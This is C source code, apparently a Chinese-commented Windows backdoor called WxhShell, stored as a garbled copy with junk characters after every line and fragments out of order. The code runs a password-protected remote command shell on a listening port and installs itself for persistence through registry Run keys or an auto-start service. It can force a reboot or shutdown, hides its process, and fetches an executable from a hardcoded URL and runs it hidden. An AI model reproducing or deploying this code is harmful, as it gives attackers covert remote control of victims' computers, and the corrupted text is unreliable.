    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y_|K,T6Zj@  
    if(Boot(SHUTDOWN)) Y]`lEq%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h&:Q$*A>   
    else { sqMNon`5  
    closesocket(wsh); ?,+C!R?  
    ExitThread(0); 0pZ.; /<{  
    } yNb#Ia  
    break; utFcFd X  
    } .:r2BgL  
  // 获取shell eEg1-  
  case 's': { \( Gf+  
    CmdShell(wsh); ],fwZd[t  
    closesocket(wsh); ~#N.!e4  
    ExitThread(0); >%jEo'0;_  
    break; 3; -@<9  
  } $2 +$,:  
  // 退出 &t9XK8S  
  case 'x': { /ut~jf`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UG^?a  
    CloseIt(wsh); *x# &[>  
    break; N('S2yfDR  
    } )N%1%bg^-  
  // 离开 FS]+s>  
  case 'q': { MK!]y8+Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ztpm_P6  
    closesocket(wsh); c9cphZ(z  
    WSACleanup(); JQ{zWJlt  
    exit(1); Hc_hO  
    break; U{za m  
        } `Q(]AG I2  
  } twJ|Jmd  
  } YiQeI|{oN  
0.{oA`5N  
  // 提示信息 FRJ:ym=E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #P,[fgNy  
} }77=<N br  
  } `pv89aO  
4LB9w 21  
  return; P*"AtZuY]  
} &d|VH y+  
EU&3Pdnd  
// shell模块句柄 ,nu7r1}  
int CmdShell(SOCKET sock) ^%'tD  
{ 71n uTE%!  
STARTUPINFO si; i"\AyKiJ  
ZeroMemory(&si,sizeof(si)); P/1UCITq}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |<+|Du1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L]L~TA<D9i  
PROCESS_INFORMATION ProcessInfo; Dry;$C}P  
char cmdline[]="cmd"; i1_>>49*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kj1#R  
  return 0; D0E"YEo\nv  
} 6UzT]"LR;  
j O5:{%  
// 自身启动模式 ym,Ot1  
int StartFromService(void) `Hp.%G(  
{ l)!woOt  
typedef struct ^hYR5SX  
{ %]:vT&M  
  DWORD ExitStatus; (k)gZD9~{?  
  DWORD PebBaseAddress; Pu\DYP: (  
  DWORD AffinityMask; ]Buk9LTe  
  DWORD BasePriority; *l'$pJ X  
  ULONG UniqueProcessId; $M3A+6["H  
  ULONG InheritedFromUniqueProcessId; )zc8bS  
}   PROCESS_BASIC_INFORMATION; GYb2m"a)  
(=3&8$  
PROCNTQSIP NtQueryInformationProcess; by:xD2 5  
(a)@<RF`Q}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qig!NgOM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YV_I-l0  
C[<\ufclD  
  HANDLE             hProcess; )hZ}$P1  
  PROCESS_BASIC_INFORMATION pbi; ^D> MDj6  
5z(>4d!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @ vYN7  
  if(NULL == hInst ) return 0; E.Q} \E  
n+F-,=0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (+Nmio  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8IIdNd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4Uy>#IL  
x ;?1#W  
  if (!NtQueryInformationProcess) return 0; 5SWX v+  
CO)b'V,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]v,y(yl  
  if(!hProcess) return 0; ]!Aze^7;  
6x3Ew2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OD@A+"  
O@(.ei*HJ!  
  CloseHandle(hProcess); }${ZI  
&=yqWW?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eiSO7cGy  
if(hProcess==NULL) return 0; d8q$&(]<  
fjZveH0  
HMODULE hMod; HgBEV  
char procName[255]; qx<zX\qI6n  
unsigned long cbNeeded; N+@@EOmH  
nF[eb{GR`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z a y'/b  
qA_DQ):  
  CloseHandle(hProcess); _2n/vF;I+_  
cZK?kz_Y  
if(strstr(procName,"services")) return 1; // 以服务启动 n,'AFb4AF  
="TOa"Zk  
  return 0; // 注册表启动 "BNmpP  
} >_% g8T'  
P9cI{RI  
// 主模块 z^GGJu%vjr  
int StartWxhshell(LPSTR lpCmdLine) {Ll8@'5  
{ jnLu|W&  
  SOCKET wsl; H&Lbdu~E  
BOOL val=TRUE; W:( Us y  
  int port=0; :7;Iy u  
  struct sockaddr_in door; [x()^{;2  
d_|v=^;  
  if(wscfg.ws_autoins) Install(); ?*5l}y=  
~hw4gdtS  
port=atoi(lpCmdLine); u H;^>`DT  
s?I=}  
if(port<=0) port=wscfg.ws_port; =&G|} M  
M@z/ gy^  
  WSADATA data; Hx/Vm`pRyX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g_!xO2LH,8  
`2U/O .rV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !-o||rt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &CsBG?@Z|  
  door.sin_family = AF_INET; R =c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lukRFN>c"  
  door.sin_port = htons(port); G uI sM  
/OtQk -E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0<Y&2<v  
closesocket(wsl); ?#y<^oNM  
return 1; [5#/& k{  
} lz5j~t5>Q  
x};g!FYfkB  
  if(listen(wsl,2) == INVALID_SOCKET) { C xN@g'  
closesocket(wsl); rpI7W?hh  
return 1; 2Yf;b9-k  
} 2F(\}%UT~  
  Wxhshell(wsl); _)H+..=  
  WSACleanup(); cmLu T/oV  
AhZ  
return 0; 39m"}26*E  
Z#V\[  
} ng6p#F,3  
}XE/5S}D  
// 以NT服务方式启动 Y]Nab0R&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XD>@EYN<X  
{ Jg6[/7*m  
DWORD   status = 0; `d;izQ1_=  
  DWORD   specificError = 0xfffffff; i58CA?  
'bO? =+c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TBp5xz`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]/naH#8G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *zht(~%  
  serviceStatus.dwWin32ExitCode     = 0; tzN;;h4C  
  serviceStatus.dwServiceSpecificExitCode = 0; 3"%44'  
  serviceStatus.dwCheckPoint       = 0; O|m-k0n  
  serviceStatus.dwWaitHint       = 0; vwD(J.;  
q &o=4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W5;sps  
  if (hServiceStatusHandle==0) return; 2DQC)Pe+z  
a'~y'6  
status = GetLastError(); KO"iauW  
  if (status!=NO_ERROR) ikiy>W8  
{ 1mM52q.R4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pQ\ [F  
    serviceStatus.dwCheckPoint       = 0; ]<= t  
    serviceStatus.dwWaitHint       = 0; sVnu Sm  
    serviceStatus.dwWin32ExitCode     = status; #nhAW  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^;_b!7*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r!uAofIi_  
    return; &|;!St]!M  
  } GTe9@d  
%;J`dM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DF =. G1  
  serviceStatus.dwCheckPoint       = 0; W=w@SO_?wp  
  serviceStatus.dwWaitHint       = 0; ylJlICK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L  *@>/N  
} |7fBiVo  
XITQB|C??$  
// 处理NT服务事件,比如:启动、停止 *?'T8yf^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 j8,Zrg1  
{ ,:,|A/U  
switch(fdwControl) 9] \vw  
{ 5+Ut]AL5  
case SERVICE_CONTROL_STOP: n|6yz[N  
  serviceStatus.dwWin32ExitCode = 0; K.7gd1I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D1k]  
  serviceStatus.dwCheckPoint   = 0; _v,n~a}&  
  serviceStatus.dwWaitHint     = 0; g5[3[Z(.  
  { jd*H$BU^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i[n 1}E.@  
  } S3f BZIPp  
  return; /#5ZP\e  
case SERVICE_CONTROL_PAUSE: WI3!?>d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )]R8 $S  
  break; Y8(yOVy9  
case SERVICE_CONTROL_CONTINUE: 39CPFgi<l*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nU)f]4q{Ec  
  break; 0qd`Pf   
case SERVICE_CONTROL_INTERROGATE: `^[ra% a  
  break; yhmW-#+^e  
}; 'r CR8>k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^g\%VIOD  
} Y8T.RS0  
6qf`P!7d]M  
// 标准应用程序主函数 ER+[gT1CQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uy~j$lrn  
{ v\C+G[MV 7  
E{J;-+t  
// 获取操作系统版本 b"b!&u  
OsIsNt=GetOsVer(); <s >SnOD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;7hr8?M|  
$Izk]o;X~  
  // 从命令行安装 %h rR'*nG  
  if(strpbrk(lpCmdLine,"iI")) Install(); }Of^Y@{q.  
= '[@UVH(Z  
  // 下载执行文件 -6\9B>qa  
if(wscfg.ws_downexe) { k,,}N 9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3*<W`yed  
  WinExec(wscfg.ws_filenam,SW_HIDE); !;-x]_  
} Pmb`05\  
S"l&=J2dc  
if(!OsIsNt) { teb(\% ,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,D1QJPM  
HideProc(); uwJkqlUOz  
StartWxhshell(lpCmdLine); 3L|k3 `I4  
} *h1@eJHMz  
else )U` c9*.  
  if(StartFromService()) |u[gI+TUE  
  // 以服务方式启动 -}s?!Pg>  
  StartServiceCtrlDispatcher(DispatchTable); P^UcpU,  
else 7w|s8B  
  // 普通方式启动 #<{MtK_  
  StartWxhshell(lpCmdLine); p[Es4S}N  
r|+Zni]  
return 0; IkkrnG8  
} 1mqFnVkf&+  
b,wO^07-3^  
[B Al  
$8)/4P?OL  
=========================================== O{PRK5^h  
gTT-7  
53A=O gk8S  
'J}lnt[V  
9 +6"<r!  
H;8(y4;  
" Qk= w ,`  
4p]Y`];U  
#include <stdio.h> iBQftq7  
#include <string.h> O1A*-G:X  
#include <windows.h> i~4Kek6,I  
#include <winsock2.h> S1."2AxO  
#include <winsvc.h> s*;~CH-[  
#include <urlmon.h> UOyP6ej  
HhO$`YZ%>  
#pragma comment (lib, "Ws2_32.lib") 8wOr`ho B  
#pragma comment (lib, "urlmon.lib") ]?2AFkF  
p\ASf  
#define MAX_USER   100 // 最大客户端连接数 -Ac^#/[0  
#define BUF_SOCK   200 // sock buffer U w)1yzX  
#define KEY_BUFF   255 // 输入 buffer ^VQiq7 xm  
*T3"U|0_y  
#define REBOOT     0   // 重启 {221@ zcCq  
#define SHUTDOWN   1   // 关机 ^,3 >}PU  
S $Wd}2>  
#define DEF_PORT   5000 // 监听端口 .s+e hZ  
KvgZx(.  
#define REG_LEN     16   // 注册表键长度 =o {`vv  
#define SVC_LEN     80   // NT服务名长度 j>U.(K  
~vgW:]i  
// 从dll定义API pT <H&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <NUZPX29  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cWi2Sls  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mEA w^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uQDu<@5^[  
NJ~'`{3v  
// wxhshell配置信息 WJ%b9{<  
struct WSCFG { 5v]xk?Eb  
  int ws_port;         // 监听端口 6 -oQs?  
  char ws_passstr[REG_LEN]; // 口令 ` H"5nQRV  
  int ws_autoins;       // 安装标记, 1=yes 0=no NQb?&.C   
  char ws_regname[REG_LEN]; // 注册表键名 >U17BGJ.  
  char ws_svcname[REG_LEN]; // 服务名 (HEjmQjE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >[#4Pb7_Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?FLjvmE9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wz ,woF|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m+L:\mvA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;,<s'5icyg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B::vOg77  
,yC~{ H  
}; F>&8b^v bn  
Ruf*aF(  
// default Wxhshell configuration _*+M'3&=  
struct WSCFG wscfg={DEF_PORT, yO !*pC  
    "xuhuanlingzhe", h0GXN\xI  
    1, hAY_dM  
    "Wxhshell", [=iq4F'7  
    "Wxhshell", f"[C3o2P  
            "WxhShell Service", (Fu9lW}n  
    "Wrsky Windows CmdShell Service", |i|O9^*%  
    "Please Input Your Password: ", $wBUu   
  1, ;gF"o5/Q  
  "http://www.wrsky.com/wxhshell.exe", ?HW*qD#k  
  "Wxhshell.exe" @+xQj.jNC  
    }; H;v*/~zl  
{5,CW  
// 消息定义模块 5EU3BVu&u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B%,0zb+-L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u}pLO9V"`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D=3NI  
char *msg_ws_ext="\n\rExit."; R_-.:n%.z  
char *msg_ws_end="\n\rQuit."; %rf<YZ.\  
char *msg_ws_boot="\n\rReboot..."; C 9DRVkjj  
char *msg_ws_poff="\n\rShutdown..."; !#'*@a  
char *msg_ws_down="\n\rSave to "; Y,+$vj:y8  
CzwnmSv{.  
char *msg_ws_err="\n\rErr!"; H7uW|'XWz  
char *msg_ws_ok="\n\rOK!"; +UB. M  
KjhOz%Yt[o  
char ExeFile[MAX_PATH]; S-im o  
int nUser = 0; H:CwUFL  
HANDLE handles[MAX_USER]; \E n^Vf  
int OsIsNt; RxAZ<8T_  
|d{4_o90  
SERVICE_STATUS       serviceStatus; FvRog<3X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w*aKb  
d hh`o\$  
// 函数声明 #zfBNkk&@  
int Install(void); ?@tp1?)  
int Uninstall(void); &Y\`FY\   
int DownloadFile(char *sURL, SOCKET wsh); }4$UlTA'  
int Boot(int flag); .}^m8PP  
void HideProc(void); vzfWPjpKW  
int GetOsVer(void); Nkc=@l {  
int Wxhshell(SOCKET wsl); |_Vlw&qu+  
void TalkWithClient(void *cs); f- _~rQ  
int CmdShell(SOCKET sock); 1;>J9  
int StartFromService(void); sVGyHA  
int StartWxhshell(LPSTR lpCmdLine); m'Ran3rp  
Ug/b;( dJ'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qg|SBQ?6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]c*&5c$  
Z[ys>\_To  
// 数据结构和表定义 =ove#3  
SERVICE_TABLE_ENTRY DispatchTable[] = /op8]y  
{ KZ&{Ya  
{wscfg.ws_svcname, NTServiceMain}, SDZ/rC!C  
{NULL, NULL} j2V^1  
}; WxFVbtw  
PKmr5FB  
// 自我安装 mkgDg y  
int Install(void) <&B)i\j8=b  
{ G/b $cO}  
  char svExeFile[MAX_PATH]; Uh{|@D  
  HKEY key; @?TOg{:  
  strcpy(svExeFile,ExeFile); {ymD.vf=9+  
1a`dB ~>  
// 如果是win9x系统,修改注册表设为自启动 rxt)l  
if(!OsIsNt) { ?nE<Aig  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uq'T:d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  {ZB7,\  
  RegCloseKey(key); 86oa>#opU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?m0|>[j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SIVzc Hm  
  RegCloseKey(key); !ouJ3Jn   
  return 0; sZ_+6+ :  
    } Ubv<3syR'  
  } ~8Z)e7 j  
} `C$.  
else { !2=< MO  
z`XX[9$qm  
// 如果是NT以上系统,安装为系统服务 F8KSB"!NR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `-IX"rf  
if (schSCManager!=0) lx(kbSxF  
{ :hC+r=!I  
  SC_HANDLE schService = CreateService 4 +Wti!s  
  ( "|`euxYV  
  schSCManager, )17CG*K1  
  wscfg.ws_svcname, )k$ +T%  
  wscfg.ws_svcdisp, 741Sd8  
  SERVICE_ALL_ACCESS, | bDUekjR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E {*d`n  
  SERVICE_AUTO_START, 3,t3\`=  
  SERVICE_ERROR_NORMAL, Q3T@=z2j%  
  svExeFile, e-Mei7{%  
  NULL, ^-Bx zOp  
  NULL, =)!sWY:  
  NULL, Dg W*Br8<  
  NULL, Y'H|Tk^`  
  NULL r1ao=N  
  ); 2M@,g8O+B=  
  if (schService!=0) GUSEbIz):  
  { )H8Rfn?  
  CloseServiceHandle(schService); Dn~c  
  CloseServiceHandle(schSCManager); k^K>*mcJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U4M}E h8  
  strcat(svExeFile,wscfg.ws_svcname); >cJfD9-<h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j`7q7}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bq@_/*'*Y  
  RegCloseKey(key); bi~1d"j  
  return 0; }hRw{#*8  
    } ozB2L\D7  
  } [_P ZdIN  
  CloseServiceHandle(schSCManager); }LeizbU  
} wwUa+6?  
} _Oc5g5_{  
-?nr q <3  
return 1; O/ybqU\7  
} t\S=u y  
xl>8B/Zmf#  
// 自我卸载 kn %i#Fz  
int Uninstall(void) 6 );8z!+  
{ 8}C_/qeM  
  HKEY key; , Ox$W  
Q,v/]bXd  
if(!OsIsNt) { []OmztB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gxPu/VD4  
  RegDeleteValue(key,wscfg.ws_regname); %[B^b)2  
  RegCloseKey(key); /xq^]0xy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \:y oS>G  
  RegDeleteValue(key,wscfg.ws_regname); QNWGUg4*&  
  RegCloseKey(key); z* k(` '  
  return 0; h>k[  
  } < #FxI  
} Nux  
} u'`eCrKT*  
else { ;|U !\Xp  
!:baG]Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *{DpNV8"  
if (schSCManager!=0) duQ ,6  
{ #;D@`.#\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '2XIeR  
  if (schService!=0) sD#*W<  
  { m)Ta5w^  
  if(DeleteService(schService)!=0) { ` {/"?s|  
  CloseServiceHandle(schService); qBF6LhR  
  CloseServiceHandle(schSCManager); i+90##4<?  
  return 0;  T_)G5a  
  } Lo,uH`qU  
  CloseServiceHandle(schService); )sN}ClgJ  
  } 0uL*-/|  
  CloseServiceHandle(schSCManager); >)^Q p-  
}  gx9=L&=d  
} g286 P_a`*  
`:.a5  
return 1; B_mT[)ut  
} *[Im].  
rHiBW!  
// 从指定url下载文件 F/ o }5H  
int DownloadFile(char *sURL, SOCKET wsh) *47HN7  
{ ?xwLe  
  HRESULT hr; o3W@)|>  
char seps[]= "/"; wU(p_G3  
char *token; .fAHP 5-  
char *file; X4eoE  
char myURL[MAX_PATH]; nD.K*#u  
char myFILE[MAX_PATH]; fU<_bg  
[[#zB-|  
strcpy(myURL,sURL); gz#2}  
  token=strtok(myURL,seps); $+|. @ss  
  while(token!=NULL) E5qt~:C|  
  { IN_O!c0e  
    file=token; ?t)Mt]("  
  token=strtok(NULL,seps); @d|3c7` A  
  } fG zx;<0P!  
 < v1.+  
GetCurrentDirectory(MAX_PATH,myFILE); n|fKwWB\  
strcat(myFILE, "\\"); *b7evU *1  
strcat(myFILE, file); pz=/A  
  send(wsh,myFILE,strlen(myFILE),0); K;7ea47m N  
send(wsh,"...",3,0); {X 5G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ra;:  
  if(hr==S_OK) `y>BbJqy  
return 0; ~6=aoF5"3?  
else a$K6b5`>Rs  
return 1; osn ,kD*  
:.= #U  
} XTJA"y  
"m > BE  
// 系统电源模块 4Ss*h,Y  
int Boot(int flag) Qe =8x7oIP  
{ kho$At)V  
  HANDLE hToken; {ub'   
  TOKEN_PRIVILEGES tkp; (3WK2IM^  
Ji.FG"h+2  
  if(OsIsNt) { NvvD~B b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;#L]7ZY9:-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .Zc:$"gDu  
    tkp.PrivilegeCount = 1; IdoS6   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;o158H$gz;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <m/XGFc  
if(flag==REBOOT) { _6m{zvyX>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Dtox/ ,"  
  return 0; xFcW%m>9C  
} ):\+%v^  
else { }{}?mQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wbB\~*Z)  
  return 0; #+H3b!8=  
} d*x&Uh[K  
  } v}\Fbe  
  else { d ATAH}r&  
if(flag==REBOOT) { [HhaBy9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u"MfxW`  
  return 0; g_@b- :$Yq  
} W=y9mW|p/  
else { Y()ZM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s<;{q+1#  
  return 0; cv;2zq=T  
} YZAQt* x  
} <qVOd.9c  
b/_u\R ]-'  
return 1; kzVK%[/  
} &oE'|^G  
{11 3B)  
// win9x进程隐藏模块  ;{Yr|  
void HideProc(void) Y4+iNdd  
{ !$/P8T``M  
7pN&fAtj/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n\< uT1n  
  if ( hKernel != NULL ) h1y3gl[;TD  
  { {mY=LaS<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LVy`U07CV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eM]>"  
    FreeLibrary(hKernel); cfPp>EK  
  } k(xB%>ns  
W6RjQ1  
return; {8 &=t8,c  
} vXZ )  
\O]kf>nC  
// 获取操作系统版本 %jJIR88  
int GetOsVer(void) Q9c*I,O j  
{ N/[!$B0H@  
  OSVERSIONINFO winfo; 3vkzN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "MD 6<H  
  GetVersionEx(&winfo); A@;{ #.O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e:K'e2  
  return 1; 0$i\/W+  
  else If8Lt}-  
  return 0; ]z]=?;ty%  
} \TLfLqA  
Jpy~5kS  
// 客户端句柄模块 pq%inSY  
int Wxhshell(SOCKET wsl) ol~ tfS  
{ ~i.rk#{?D  
  SOCKET wsh; :QF`Orb!^  
  struct sockaddr_in client; KpIY>k  
  DWORD myID; fm$Qd^E|e  
!^EA}N.u  
  while(nUser<MAX_USER) Ff d4c  
{ w]fVELU  
  int nSize=sizeof(client); %.wx]:o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )LNKJe+  
  if(wsh==INVALID_SOCKET) return 1; P`S'F_IN  
!=HxL-`j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3BAQ2S}  
if(handles[nUser]==0) 7%&e4'SZO  
  closesocket(wsh); Od~ e*gA8  
else G *<g%"  
  nUser++; T+S\'f\  
  } RB6TM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nm)/BK  
bN|1%[7  
  return 0; (=j/"Mb  
} qiq=v)  
O|+$ 9#,  
// 关闭 socket 0b<Qs88yd>  
void CloseIt(SOCKET wsh) F0"("4h:  
{ -X3CrW  
closesocket(wsh); k8i0`VY5Y  
nUser--; aiZZz1C   
ExitThread(0); n'?]_z<  
} \tA@A  
 ~fs} J  
// 客户端请求句柄 #ApmJLeCO  
void TalkWithClient(void *cs) 4;(W0RQa  
{ CtUAbR  
flz7{W  
  SOCKET wsh=(SOCKET)cs; 7<(kvE*x  
  char pwd[SVC_LEN]; wa!z:}]  
  char cmd[KEY_BUFF]; ulk/I-y  
char chr[1]; MwL!2r  
int i,j; `=Rxnl,<U  
79D;0  
  while (nUser < MAX_USER) { ~Q]/=HK  
"`mG_qHI[  
if(wscfg.ws_passstr) { n0t+xvNDF_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YgtW(j[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AG#Mj(az!  
  //ZeroMemory(pwd,KEY_BUFF); f3s4aARP  
      i=0; vbtjPse  
  while(i<SVC_LEN) { rl2(DA{  
k^#*x2b  
  // 设置超时  Y=H_U$  
  fd_set FdRead; e&K7n@  
  struct timeval TimeOut; W}|k!_/  
  FD_ZERO(&FdRead); [.$/o}  
  FD_SET(wsh,&FdRead); nITkgN:s  
  TimeOut.tv_sec=8; |x=(}g  
  TimeOut.tv_usec=0; ,#9i=gp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +i}uRO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dc 84^>l  
dKevhm)R"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5A%Uv*  
  pwd=chr[0]; zQ+ %^DT1  
  if(chr[0]==0xd || chr[0]==0xa) { u Tdz$Nh  
  pwd=0; 7.+vp@+  
  break; ) % gU  
  } QHsJo|.  
  i++; #miG"2ea..  
    } <p?oFD_e4  
8|u8J0^  
  // 如果是非法用户,关闭 socket jN(c`Gb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tt_QAIl  
} 'b6qEU#  
I9nm$,i]7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \K lY8\c[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^rGuyW#  
]; eJ'#  
while(1) { .R#<Q  
kt7Emb}  
  ZeroMemory(cmd,KEY_BUFF); aU#r`D@0  
!, sQB_09C  
      // 自动支持客户端 telnet标准   %fXgV\xY  
  j=0; ,,g: x  
  while(j<KEY_BUFF) { m!(dk]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &#9HV  
  cmd[j]=chr[0]; )Ofwfypc  
  if(chr[0]==0xa || chr[0]==0xd) { DZ:$p.  
  cmd[j]=0; +S1h~@c:B  
  break; 3GMrdG?Y  
  } 76u\# {5  
  j++; dV^ck+  
    } zQB1C  
oHF,k  
  // 下载文件 4F!%mMq  
  if(strstr(cmd,"http://")) { [vnxp/v/<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |-%dN }O  
  if(DownloadFile(cmd,wsh)) yb\!4ml  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^a|  
  else s -F3(mc(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -AQ 7Bd  
  } ?}S~cgL -  
  else { RGBntp%  
`2j"Z.=  
    switch(cmd[0]) { 3qDuF  
  D+h`Z]"|  
  // 帮助 PpSQf14,  
  case '?': { R#ya9GN{  
